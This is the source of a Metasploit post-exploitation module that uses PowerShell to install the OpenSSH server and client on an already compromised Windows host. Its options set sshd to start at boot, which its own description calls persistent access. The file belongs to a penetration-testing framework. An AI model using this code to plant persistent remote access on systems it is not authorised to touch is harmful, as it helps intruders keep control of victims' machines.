1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Priv
8
  include Msf::Post::File
9
  include Msf::Post::Windows::Powershell
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Install OpenSSH for Windows',
16
        'Description' => %q{
17
          This module installs OpenSSH server and client for Windows using PowerShell.
18
          SSH on Windows can provide pentesters persistent access to a secure interactive terminal, interactive filesystem access, and port forwarding over SSH.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => ['Michael Long <bluesentinel[at]protonmail.com>'],
22
        'Arch' => [ARCH_X86, ARCH_X64],
23
        'Platform' => [ 'win' ],
24
        'SessionTypes' => [ 'meterpreter', 'shell' ],
25
        'References'	=> [
26
          ['URL', 'https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview'],
27
          ['URL', 'https://github.com/PowerShell/openssh-portable']
28
        ],
29
        'Notes' => {
30
          'Stability' => [CRASH_SAFE],
31
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
32
          'Reliability' => []
33
        }
34
      )
35
    )
36
    register_options(
37
      [
38
        OptBool.new('INSTALL_SERVER', [true, 'Install OpenSSH.Server for Windows', true]),
39
        OptBool.new('INSTALL_CLIENT', [true, 'Install OpenSSH.Client for Windows', true]),
40
        OptBool.new('UNINSTALL_SERVER', [true, 'Uninstall OpenSSH.Server for Windows', false]),
41
        OptBool.new('UNINSTALL_CLIENT', [true, 'Uninstall OpenSSH.Client for Windows', false]),
42
        OptString.new('SERVER_VER', [true, 'OpenSSH.Server version', 'OpenSSH.Server~~~~0.0.1.0']),
43
        OptString.new('CLIENT_VER', [true, 'OpenSSH.Client version', 'OpenSSH.Client~~~~0.0.1.0']),
44
        OptBool.new('AUTOSTART', [true, 'Sets sshd service to startup automatically at system boot for persistence', true])
45
      ]
46
    )
47
  end
48

49
  def run
50
    # check admin privileges
51
    unless is_system? || is_admin?
52
      fail_with(Failure::NotVulnerable, 'Insufficient privileges to install or remove OpenSSH')
53
    end
54

55
    # check if PowerShell is available
56
    psh_path = '\\WindowsPowerShell\\v1.0\\powershell.exe'
57
    if !file? "%WINDIR%\\System32#{psh_path}"
58
      fail_with(Failure::NotVulnerable, 'No powershell available.')
59
    end
60

61
    # uninstall OpenSSH.Server
62
    if datastore['UNINSTALL_SERVER']
63
      print_status('Uninstalling OpenSSH.Server')
64
      uninstall_ssh_server
65
    end
66

67
    # unintall OpenSSH.Client
68
    if datastore['UNINSTALL_CLIENT']
69
      print_status('Uninstalling OpenSSH.Client')
70
      uninstall_ssh_client
71
    end
72

73
    # install OpenSSH.Server
74
    if datastore['INSTALL_SERVER']
75
      print_status('Installing OpenSSH.Server')
76
      install_ssh_server
77
    end
78

79
    # install OpenSSH.Client
80
    if datastore['INSTALL_CLIENT']
81
      print_status('Installing OpenSSH.Client')
82
      install_ssh_client
83
    end
84
  end
85

86
  def install_ssh_server
87
    script = "Add-WindowsCapability -Online -Name #{datastore['SERVER_VER']}; "
88
    script << 'Start-Service sshd; '
89
    if datastore['AUTOSTART']
90
      script << "Set-Service -Name sshd -StartupType 'Automatic'"
91
    end
92
    psh_exec(script)
93
  end
94

95
  def install_ssh_client
96
    script = "Add-WindowsCapability -Online -Name #{datastore['CLIENT_VER']}; "
97
    psh_exec(script)
98
  end
99

100
  def uninstall_ssh_server
101
    script = 'Stop-Service sshd; '
102
    script << "Remove-WindowsCapability -Online -Name #{datastore['SERVER_VER']}"
103
    psh_exec(script)
104
  end
105

106
  def uninstall_ssh_client
107
    script = "Remove-WindowsCapability -Online -Name #{datastore['CLIENT_VER']}"
108
    psh_exec(script)
109
  end
110
end
111

112